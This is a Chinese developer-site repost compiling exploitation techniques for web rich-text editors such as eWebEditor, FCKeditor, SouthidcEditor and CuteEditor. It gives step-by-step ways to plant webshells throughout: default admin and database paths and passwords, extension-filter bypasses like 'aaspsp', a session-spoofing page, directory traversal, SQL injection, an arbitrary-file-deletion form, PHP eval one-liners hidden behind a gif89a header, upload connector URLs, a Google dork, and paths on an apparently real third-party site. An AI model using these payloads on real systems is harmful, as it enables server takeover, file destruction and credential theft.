热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

各种在线编辑器漏洞

    常见的一些编辑器:ewebeditor ewebeditornet fckeditoreditor southidceditor SouthidcEditor big

 

 

常见的一些编辑器:ewebeditor ewebeditornet fckeditoreditor southidceditor SouthidcEditor bigcneditor



其实如果大家多关注编辑器的话,会有惊人的发现,尤其是jsp,php版的,一个webshell基本上就是一台服务器啊~~~




一:首先说说最近不断爆洞的ewebeditor




(一)ASP版




/webeditor/dialog/about.htm 查看版本




1:默认管理后台:




http://www.test.com/ewebeditor/admin_login.asp




后台如果能进入:




可点击样式管理:




standard 拷贝一份(直接修改改不了)




在拷贝的一份里加入图片类型( asa aaspsp ) 然后点预览




在编辑器里点设计 然后直接上传asa大马.




上传后 在代码里可以看到马的位置!




(原理:因为在iis里 网站的属性里 应用程序配置一项 asa扩展名还是用asp.dll来解析的,asp也是 还有 cer cdx )




在cer cdx asa的被删掉 那么马儿就找不到 映射不过去.




可以在拷贝过后的样式 图片类型里加入 aaspsp 然后在上传 直接就可以上传asp文件






2:下载默认数据库




www.test.com/ewebeditor/db/ewebeditor.mdb




然后分析数据库




webeditor_system(1) 就可以看到用户名和密码 如果破解不出来




可以在webeditor_style(14 样式表里




主要看允许上传文件的扩展名(s-fileext s_ingeext)




看到一个小黑客曾经搞过 多了asa aaspsp




可以用他来利用!(后台找不到的情况下也可以用此方法)




可以构造语句:




比如 ID=46 s-name =standard1




构造 代码: ewebeditor.asp?id=content&ASP", "")一句上修改,我就看见过一个站长是这样修改的:


sAllowExt = Replace(Replace(Replace(Replace(Replace(UCase(sAllowExt), "ASP", ""), "CER", ""), "ASA", ""), "CDX", ""), "HTR", "")


猛一看什么都过滤了,但是我们只要在上传类型中增加“aaspsp”,就可以直接上传asp文件了。呵呵,是不是天才的想法?“aaspsp”过滤了“asp”字符后,反而变成了“asp”!顺便告诉大家一个秘密,其实动网论坛7.0 sp2中也可以利用类似的方法绕过对扩展名的过滤。


(3).上传了asp文件后,却发现该目录没有运行脚本的权限。


呵呵,真是好笨啊,上传类型可以改,上传路径不是也可以修改的吗?




(4).已经使用了第2点中的方法,但是asp类型还是无法上传。


看来站长肯定是一个写asp的高手,但是我们还有最后一招来对付他:看到“远程类型”了吗?eWebEditor能够设定自动保存远程文件的类型,我们可以加入asp类型。但是如何才能让远程访问的asp文件能够以源码形式保存呢?方法是很多的,最简单的方法是将IIS中的“应用文件映射”中的“asp”删除。




漏洞原理


漏洞的利用原理很简单,请看Upload.asp文件:


任何情况下都不允许上传asp脚本文件


sAllowExt = Replace(UCase(sAllowExt), "ASP", "")


因为eWebEditor仅仅过滤了ASP文件。记得我第一次使用eWebEditor时就在纳闷:既然作者已经知道asp文件需要过滤,为什么不同时过滤asa、cer等文件呢?也许这就是对免费用户不负责任的表现吧!




3.eWebEditor session欺骗漏洞




eWebEditor在线编辑器




漏洞文件:Admin_Private.asp




漏洞语句:<%




If Session("eWebEditor_User") = "" Then




Response.Redirect "admin_login.asp"




Response.End




End If




只判断了session,没有判断COOKIEs和路径的验证问题。




漏洞利用:




新建一个h4x0r.asp内容如下:




<%Session("eWebEditor_User") = "11111111"%>




访问h4x0r.asp,再访问后台任何文件,for example:Admin_Default.asp




漏洞影响:虚拟主机的克星.




4.ewebeditor asp版 2.1.6 上传漏洞




ewebeditor asp版 2.1.6 上传漏洞利用程序





























http://127.1/e/upload.asp




上传时修改此处上传地址。。。




如果你是上传的asp文件则成功后的地址为:




http://127.1/e/uploadfile/xxxxxxxxxx.asp




5.ewebeditor遍历路径漏洞


Ewebeditor为非常常见的网站核心程序,


默认数据库为 /db/ewebeditor.mdb 默认路径admin_login.asp 默认管理员admin密码admin(admin888)




ewebedit进入后台添加样式.得到webshell很容易. 有时候很不幸.管理员把数据库改为只读权限.




但是ewebeditor后台有个小小的缺陷. 可以历遍整个网站目录. 当然.数据库为只读的时候一样可以利用.




上传文件管理---选择样式目录(随便选一个目录)


得到:


ewebeditor/admin_uploadfile.asp?id=14


在id=14后面添加&dir=..


再加 &dir=../..


&dir=../../../.. 看到整个网站文件了




6.eweb2.7版本以下又一个注入




首先看代码(ewebeditor.asp):


ub InitPara()


' 取全屏标志


sFullScreen = Trim(Request.QueryString("fullscreen"))


' 取对应的内容ID


sCOntentID= Trim(Request.QueryString("id"))


If sCOntentID= "" Then ShowErr "请传入调用参数ID,即隐藏的内容表单项ID!"




' 取样式初始值


sStyleName = Trim(Request.QueryString("style"))


If sStyleName = "" Then sStyleName = "standard"




sSql = "select * from ewebeditor_style where s_name='" & sStyleName & "'"


oRs.Open sSql, oConn, 0, 1


If Not oRs.Eof Then


sStyleID = oRs("S_ID")


sStyleName = oRs("S_Name")


sStyleDir = oRs("S_Dir")


sStyleCSS = oRs("S_CSS")


sStyleUploadDir = oRs("S_UploadDir")


nStateFlag = oRs("S_StateFlag")


sDetectFromWord = oRs("S_DetectFromWord")


sInitMode = oRs("S_InitMode")


sBaseUrl = oRs("S_BaseUrl")




sStyleUploadDir = Replace(sStyleUploadDir, "\", "/")


If Right(sStyleUploadDir, 1) <> "/" Then


sStyleUploadDir = sStyleUploadDir & "/"


End If


Else


ShowErr "无效的样式Style参数传入,如果要使用默认值,请留空!"


End If


oRs.Close


关键的是这两句:


sStyleName = Trim(Request.QueryString("style"))


If sStyleName = "" Then sStyleName = "standard"




sSql = "select * from ewebeditor_style where s_name='" & sStyleName & "'"


很明显的是style参数没有足够的过滤,如果我们自己给这个地方赋值的话,程序会报错的,








但接下来的一句还是让我们有可乘之机,If sStyleName = "" Then sStyleName = "standard"保留默认的还是会带入语句执行,加个单引号就报错了,如图2.[local]1[/local]


我试了好几款工具,发现只有pangolin可以注入,啊D只能发现注入不能继续猜解。


eweb默认的管理员表是:ewebeditor_system


这个表下的默认两个列名为:sys_UserName和sys_userpass


需要手动添加,




7.ewebeditor2.8最终版删除任意文件漏洞




这个漏洞可以很鸡肋,也可以很致命,关键看你怎么利用!




此漏洞存在于ExampleNewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入,看这些代码:




' 把带"|"的字符串转为数组


Dim aSavePathFileName


aSavePathFileName = Split(sSavePathFileName, "|")


' 删除新闻相关的文件,从文件夹中


Dim i


For i = 0 To UBound(aSavePathFileName)


' 按路径文件名删除文件


Call DoDelFile(aSavePathFileName(i))


Next




而aSavePathFileName是前面从数据库取出来的:




sSavePathFileName = oRs("D_SavePathFileName")




看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:




sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename"))


...


oRs("D_SavePathFileName") = sSavePathFileName




居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:




Function GetSafeStr(str)


GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")


End Function




无语,这不是过滤字符型注入的函数么?放这里什么用也没有啊!既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新闻,于是主目录下的eWebEditor.asp不见了!




下面给出利用的htm:








新闻列表 | 增加新闻




增加新闻






method="post" name="myform">















































要删的文件(相对路径就可以了):
新闻标题(随便填):
标题图片:


当编辑区有插入图片时,将自动填充此下拉框
新闻内容(随便填):



















(二)ASPX版:




受影响文件:eWebEditorNet/upload.aspx




利用方法:添好本地的cer的Shell文件。在浏揽器输入Javascript:lbtnUpload.click();就能得到shell




嘿嘿....绕过了限制......成功的上传了ASPX文件....




文件默认的上传后保存的地址是eWebEditorNet/UploadFile/现在来看看是否上传成功.....




(三)PHP版




关于eWebEditor 漏洞php版本的和asp的一样。有目录浏览。和编辑扩展名。重点在于虽然支持了php格式但上传还是上传不了。不过利用织梦的gif89a漏洞倒可以实现php一句话上传,然后再上传webshell。




备注:织梦的gif89a漏洞,准确来说应该是DEDECMS中所用的php版的FCKeditor存在上传漏洞,gif89a文件头欺骗。DEDECMS中在上传拖上没有对picSubmit进行任何处理。但是却不能直接上传php马。因为会识别。使用修改过的php小马。




gif89a








phpinfo();




?>




RFI




gif89a








eval($_POST[c]);




?>




利用gif89a进行了欺骗。现在上传就可以成功了.然后有php一句话客户端连接.




(四)JSP版




上传漏洞




影响版本:漏洞存在于ewebeditor jsp版 1.4以下版本,漏洞有两个版本。




原理:第一个是使用savefile.jsp来进行 文件上传 操作的,从代码中可以看出,程序并没做任何上传过滤,这样我们就可以直接上传一个JSPShell了。另一个版本可能是被人修改过,把代码转成了servlet,不能看到代码,但是利用方法却大同小异。




利用方法:我们先找一个1.4版本以下的ewebeditor JSP上传页面,选择好一个JSPShell。这个ewebeditor是没有提交按钮的,所以这里涉及到一个小技巧,就是在上传的对话框中敲下回车,大约过半分钟,就可以查看网页的源文件来寻找我们的Webshell了。




这个JSP和PHP一样,如果系统权限没有特意去设置的话,默认我们得到webshell是system的权限,那么...^_^




二:ewebeditornet 漏洞利用




默认上传地址:




www.test.com/ewebeditornet/upload.aspx






可以直接上传一个cer的木马




在无法上传的情况下




可以地址栏构造以下代码: Javascript:lbtnUpload.click();




然后查看源代码:




找到uploadsave 找到地址




默认传到uploadfile这个文件夹里




(漏洞修补: 可以在iss里直接把upload文件夹的执行权限选择无. )




三:fckeditor 漏洞利用




http://www.test.com/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=FileUpload&Type=Image&CurrentFolder=/


就把文件名字段改成NEWfile 选择文件名可定义


上传过后在/userfiles/image/找文件




上传任意文件:




fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&COnnector=connectors/asp/connector.asp




根据网站所使用不同语言自己改这个地址.




FCKeditor的JSP版漏洞




http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=%2F




http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F


上传shell的地址:


http://www.xxx.com/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&COnnector=connectors/jsp/connector




四:southidceditor




1.




http://www.xhkjit.com/admin/southidceditor/datas/southidceditor.mdb




http://www.xhkjit.com/admin/southidceditor/popup.asp




http://www.xhkjit.com/admin/southidceditor/admin/admin_login.asp




2.southidceditor存在一个可以抓包上传的漏洞




Google:inurl:(admin/SouthidcEditor/PopUp.asp)




nc抓包自己玩玩吧.






五:bigcneditor(这个我没有找到具体的漏洞,网上的文章也都比较不负责任,谁知道的请告诉我下,谢谢)




这个页不多说了




原理都差不多!




防范方法很简单就不多讲了,




六:CuteEditor编辑器通杀漏洞




CuteEditor编辑器是.NET下最常用的一个编辑器..


十分的强大..也许是因为他太强了 HEHE ..


我们随便找到一个装有此编辑器的网站 点击插入图片 FLASH 影音文件 什么的都可以出来一个对话框.


在这个对话框里可以游览用户所上传的数据还有目录..郁闷的是居然可以新建..移动..修改..


在官网上甚至连删除都弄出来了..呵呵.. 我们这次主要是利用2003服务器的特性来进行利用..


大家都知道在2003的IIS环境下 如果你建一个 XXX.asp 文件夹的话 里面不管放什么其他类型的文件


在IIS里都会通过文件夹名的类型来解析 也就是说你传一个JPG的东西到 XXX.ASP下也会以ASP脚本


来进行解析..我们这里就利用他这一特性...首先我们随便找一个编辑器 然后选择插入图片吧(如图1)..插入其他的


东西都行..只要能新建文件目录..或者可以移动目录..




看这里就有新建文件夹等等一些操作的按钮我们新建一个..如果新建不能用可以试试移动文件夹把以有的文件夹名改成 XXX.asp形式..






好了.我们新建一个 www.asp 文件夹.






确定..我们的文件夹就建好了..然后点击进入该文件夹 (




然后到了最关键的...我们上传文件..


用插入图片是上传不了的..他会检测是不是正常的图片..


可以试试 插入 FLASH


或者插入 视频 音乐文件..我们这里就插入视频.. 然后直接把 我们要传上去的马后缀改为 .avi形式

然后进入我们刚才新建的那个目录 然后上传 .. 文件就上去了

 

本文由 残剑 进行整理编辑,转载请注明出处。

 


各种在线编辑器漏洞




推荐阅读
  • 目录浏览漏洞与目录遍历漏洞的危害及修复方法
    本文讨论了目录浏览漏洞与目录遍历漏洞的危害,包括网站结构暴露、隐秘文件访问等。同时介绍了检测方法,如使用漏洞扫描器和搜索关键词。最后提供了针对常见中间件的修复方式,包括关闭目录浏览功能。对于保护网站安全具有一定的参考价值。 ... [详细]
  • 如何在php文件中添加图片?
    本文详细解答了如何在php文件中添加图片的问题,包括插入图片的代码、使用PHPword在载入模板中插入图片的方法,以及使用gd库生成不同类型的图像文件的示例。同时还介绍了如何生成一个正方形文件的步骤。希望对大家有所帮助。 ... [详细]
  • Android源码中的Builder模式及其作用
    本文主要解释了什么是Builder模式以及其作用,并结合Android源码来分析Builder模式的实现。Builder模式是将产品的设计、表示和构建进行分离,通过引入建造者角色,简化了构建复杂产品的流程,并且使得产品的构建可以灵活适应变化。使用Builder模式可以解决开发者需要关注产品表示和构建步骤的问题,并且当构建流程发生变化时,无需修改代码即可适配新的构建流程。 ... [详细]
  • asp中如何嵌入python的简单介绍
    本文目录一览:1、如何在IIS中执行Python脚本 ... [详细]
  • GetWindowLong函数
    今天在看一个代码里头写了GetWindowLong(hwnd,0),我当时就有点费解,靠,上网搜索函数原型说明,死活找不到第 ... [详细]
  • 生成式对抗网络模型综述摘要生成式对抗网络模型(GAN)是基于深度学习的一种强大的生成模型,可以应用于计算机视觉、自然语言处理、半监督学习等重要领域。生成式对抗网络 ... [详细]
  • Oracle优化新常态的五大禁止及其性能隐患
    本文介绍了Oracle优化新常态中的五大禁止措施,包括禁止外键、禁止视图、禁止触发器、禁止存储过程和禁止JOB,并分析了这些禁止措施可能带来的性能隐患。文章还讨论了这些禁止措施在C/S架构和B/S架构中的不同应用情况,并提出了解决方案。 ... [详细]
  • RouterOS 5.16软路由安装图解教程
    本文介绍了如何安装RouterOS 5.16软路由系统,包括系统要求、安装步骤和登录方式。同时提供了详细的图解教程,方便读者进行操作。 ... [详细]
  • Servlet多用户登录时HttpSession会话信息覆盖问题的解决方案
    本文讨论了在Servlet多用户登录时可能出现的HttpSession会话信息覆盖问题,并提供了解决方案。通过分析JSESSIONID的作用机制和编码方式,我们可以得出每个HttpSession对象都是通过客户端发送的唯一JSESSIONID来识别的,因此无需担心会话信息被覆盖的问题。需要注意的是,本文讨论的是多个客户端级别上的多用户登录,而非同一个浏览器级别上的多用户登录。 ... [详细]
  • 微信官方授权及获取OpenId的方法,服务器通过SpringBoot实现
    主要步骤:前端获取到code(wx.login),传入服务器服务器通过参数AppID和AppSecret访问官方接口,获取到OpenId ... [详细]
  • 带添加按钮的GridView,item的删除事件
    先上图片效果;gridView无数据时显示添加按钮,有数据时,第一格显示添加按钮,后面显示数据:布局文件:addr_manage.xml<?xmlve ... [详细]
  • 本文介绍了iOS开发中检测和解决内存泄漏的方法,包括静态分析、使用instruments检查内存泄漏以及代码测试等。同时还介绍了最能挣钱的行业,包括互联网行业、娱乐行业、教育行业、智能行业和老年服务行业,并提供了选行业的技巧。 ... [详细]
  • 安装oracle软件1创建用户组、用户和目录bjdb节点下:[rootnode1]#groupadd-g200oinstall[rootnode1]#groupad ... [详细]
  • Python15行代码实现免费发送手机短信,推送消息「建议收藏」
    Python15行代码实现免费发 ... [详细]
  • 在单位的一台4cpu的服务器上部署了esxserver,挂载了6个虚拟机,目前运行正常。在安装部署过程中,得到了cnvz.net论坛精华区 ... [详细]
author-avatar
手机用户2502907993
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有